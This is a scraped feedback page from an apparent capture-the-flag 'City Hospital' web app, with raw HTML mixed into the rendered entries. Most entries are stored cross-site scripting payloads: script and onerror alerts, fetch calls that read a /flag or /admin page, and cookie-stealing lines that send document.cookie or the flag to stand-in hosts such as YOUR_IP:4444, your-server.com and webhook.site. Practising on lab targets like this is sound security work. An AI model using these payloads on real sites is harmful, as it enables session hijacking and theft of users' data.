Feedback - City Hospital - Hospital Management System

<b>test</b>

2026-04-28

1244

test@test.com

test

2026-04-28

test@test.com

test

2026-04-28

test@test.com

test

2026-04-28

test@test.com

test

2026-04-28

test@test.com

test

2026-04-28

test@test.com

test

2026-04-28

test@test.com

test

2026-04-28

test@test.com

test

2026-04-28

test@test.com

hshsh

2026-04-30

hsgsh

dhdhdh@gmail.com

jake

2026-04-30

bremang71@gmail.com

hhdhd

2026-04-30

ahaah@gmail.com

hxhxhxh

2026-04-30

hhxhxh@gmail.com

hahaha

2026-05-01

gsgsgg@gmail.com

hdhdh

2026-05-01

hshsh@gmail.com

test

2026-05-03

a@A

test

2026-05-03

a@A

<script>alert('XSS')</script>

2026-05-20

as

zorosindhi@gmail.com

<img src=x onerror=alert('XSS')>

2026-05-20

asa

zorosindhi@gmail.com

test

2026-05-20

test@test.com

XSS

2026-05-20

xss@test.com

XSS

2026-05-20

xss@test.com

XSS

2026-05-20

xss@test.com

XSS

2026-05-20

</p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><body onload=alert('XSS')></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><ScRiPt>alert('XSS')</ScRiPt></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><a href='javascript:alert("XSS")'>click</a></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><b onmouseover=alert('XSS')>hover here</b></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><b onmouseover=alert('XSS')>hover here</b></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><img src=x onerror="fetch('/flag').then(r=>r.text()).then(alert)"></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><div style="background:url('http://YOUR_IP:4444/flag')">test</div></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><meta http-equiv='refresh' content='0; url=http://YOUR_IP:4444/?c=' document.cookie></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS</h5> <small>2026-05-20</small> </div> <p class="mb-1"><iframe src='data:text/html,<script>alert(1)</script>'></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">console</h5> <small>2026-05-20</small> </div> <p class="mb-1"><div class="flag">FLAG_PLEASE</div></p> <small>test@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><script>alert(1)</script></h5> <small>2026-05-20</small> </div> <p class="mb-1">test</p> <small>test@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><img src="https://your-server.com/xss.jpg"></h5> <small>2026-05-20</small> </div> <p class="mb-1">test</p> <small>test@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><b>test</b></h5> <small>2026-05-21</small> </div> <p class="mb-1"><b>test</b></p> <small>test@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><script>alert('XSS_Flag')</script></h5> <small>2026-05-31</small> </div> <p class="mb-1">Testing XSS in name field</p> <small>hacker@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><img src=x onerror='fetch("/flag").then(r=>r.text()).then(alert)'></h5> <small>2026-05-31</small> </div> <p class="mb-1">Steal the flag</p> <small>attacker@xss.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><img src=x onerror='fetch("/flag").then(r=>r.text()).then(alert)'></h5> <small>2026-05-31</small> </div> <p class="mb-1">Steal the flag</p> <small>attacker@xss.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><script>fetch('/flag').then(r=>r.text()).then(alert)</script></h5> <small>2026-05-31</small> </div> <p class="mb-1">Getting flag</p> <small>test@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><script>fetch('/flag').then(r=>r.text()).then(alert)</script></h5> <small>2026-05-31</small> </div> <p class="mb-1">test</p> <small>x@y.z</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">Attacker</h5> <small>2026-05-31</small> </div> <p class="mb-1"><img src=x onerror='fetch("/flag").then(r=>r.text()).then(alert)'></p> <small>xss@test.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">Hacker</h5> <small>2026-05-31</small> </div> <p class="mb-1"><img src=x onerror='fetch("/flag").then(r=>r.text()).then(alert)'></p> <small>h@x.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">FlagHunter</h5> <small>2026-05-31</small> </div> <p class="mb-1"><img src=x onerror='fetch("/flag").then(r=>r.text()).then(flag=>document.body.innerHTML =flag)'></p> <small>flag@hunt.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><p class="mb-1"><div class="flag">FLAG_PLEASE</div></p></h5> <small>2026-05-31</small> </div> <p class="mb-1"><p class="mb-1"><div class="flag">FLAG_PLEASE</div></p></p> <small>asagr@gamil.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1"><p class="mb-1"><div class="flag">FLAG_PLEASE</div></p></h5> <small>2026-05-31</small> </div> <p class="mb-1"><p class="mb-1"><div class="flag">FLAG_PLEASE</div></p></p> <small>sagar@gmail.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">XSS_Triggers</h5> <small>2026-05-31</small> </div> <p class="mb-1"><script>fetch('/flag').then(r=>r.text()).then(flag=>{fetch('https://your-server.com:4443/?flag=' btoa(flag))})</script></p> <small>trigger@xss.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">AdminBot</h5> <small>2026-05-31</small> </div> <p class="mb-1"><img src=x onerror=this.src='/flag?c=' document.cookie></p> <small>bot@hospital.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">AdminBotPls</h5> <small>2026-05-31</small> </div> <p class="mb-1"><img src=x onerror='fetch("/flag").then(r=>r.text()).then(flag=>document.body.innerHTML=flag)'></p> <small>bot@trigger.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">FinalTry</h5> <small>2026-05-31</small> </div> <p class="mb-1"><script>fetch('/flag').then(r=>r.text()).then(flag=>document.cookie='flag=' flag)</script></p> <small>final@try.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">TestFlag</h5> <small>2026-05-31</small> </div> <p class="mb-1"><img src=x onerror="fetch('/flag').then(r=>r.text()).then(flag=>{document.querySelector('.card-body').innerHTML=flag})"></p> <small>test@flag.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">ShowFlag</h5> <small>2026-05-31</small> </div> <p class="mb-1"><div id=xss></div><script>fetch('/flag').then(r=>r.text()).then(flag=>document.getElementById('xss').innerHTML='<h3>' flag '</h3>')</script></p> <small>show@flag.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">Redirect</h5> <small>2026-05-31</small> </div> <p class="mb-1"><script>window.location='/flag'</script></p> <small>redir@flag.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">CookieStealer</h5> <small>2026-05-31</small> </div> <p class="mb-1"><script>document.write('<img src=x onerror=this.src="https://webhook.site/your-id?cookie=" document.cookie>)</script></p> <small>cookie@steal.com</small> </div> <div class="list-group-item"> <div class="d-flex w-100 justify-content-between"> <h5 class="mb-1">AdminAction</h5> <small>2026-05-31</small> </div> <p class="mb-1"><script>fetch('/admin').then(r=>r.text()).then(html=>document.body.innerHTML=html)</script></p> <small>admin@action.com</small> </div> </div> </div> </div> </div> </div> </div> <footer class="bg-dark text-white mt-5 py-3"> <div class="container text-center"> <p>© 2023 City Hospital Management System</p> </div> </footer> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <script src="/static/js/main.js"></script> <script> // Automatically remove flash messages after 5 seconds document.addEventListener('DOMContentLoaded', function() { setTimeout(function() { const flashMessages = document.querySelectorAll('.flash-message'); flashMessages.forEach(function(message) { message.remove(); }); }, 5000); }); </script> </body> </html>

Patient Feedback

Submit Feedback

Recent Feedback

<b>test</b>

test

test

test

test

test

test

test

test

hshsh

jake

hhdhd

hxhxhxh

hahaha

hdhdh

test

test

<script>alert('XSS')</script>

<img src=x onerror=alert('XSS')>

test

XSS

XSS

XSS

XSS